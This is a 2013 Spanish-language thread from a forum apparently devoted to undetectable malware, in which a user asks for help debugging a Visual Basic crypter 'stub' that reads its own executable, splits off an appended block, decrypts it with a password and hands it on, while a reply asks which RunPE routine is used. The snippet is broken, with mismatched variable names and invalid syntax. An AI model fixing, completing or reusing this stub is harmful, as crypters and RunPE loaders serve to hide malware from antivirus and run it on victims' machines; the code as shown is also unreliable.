Indetectables

Publicado: **26 Sep 2013, 11:00**

Como algunos ya sabeis estoy empezando con el tema source y tengo un problema con el stub

Sub Main()
Dim tupadre As String, perraca As String, sdata() As String
pene = App.Path & "\" & App.EXEName & ".exe"

Open tupadre For Binary As #1
datos = Space(LOF(1))
Get #1, , perraca
Close #1

sdata() = Split(perracha, "##$$##")
sdata(1) = zoLn3qlWN7(sdata(1), "miputapassword")
pepito tupadre = StrConv(sdata(1), vbFromUnicode), vbNullString

End If
End Sub

Al ejecutar el stub me salta el error:

y me lleva a vbNullString

Hasta aquí llego, alguien sabe la solucion?

Publicado: **26 Sep 2013, 16:10**

que RunPE usas?

Publicado: **29 Sep 2013, 05:14**

Hola hermano

Código: Seleccionar todo

Open tupadre For Binary As #1
datos = Space(LOF(1))
Get #1, , perraca                                         ' Levantas los datos de tu stub en una string "perraca"
Close #1

sdata() = Split(perracha, "##$$##")                 ' y le das a Split  a "perracha" ???? 
sdata(1) = zoLn3qlWN7(sdata(1), "miputapassword")
pepito tupadre = StrConv(sdata(1), vbFromUnicode), vbNullString

Lo demas como dice Pink es cuestion de analizar el resto del codigo para entenderlo mejor

Sld

Publicado: **06 Oct 2013, 21:16**

Charley si quieres un dia de estos te ayudo por team
PD: No sabes la de veces que declare "perraca" como string

Indetectables

Error de compilacion: se esperaba una matriz..

Error de compilacion: se esperaba una matriz..

Re: Error de compilacion: se esperaba una matriz..

Re: Error de compilacion: se esperaba una matriz..

Re: Error de compilacion: se esperaba una matriz..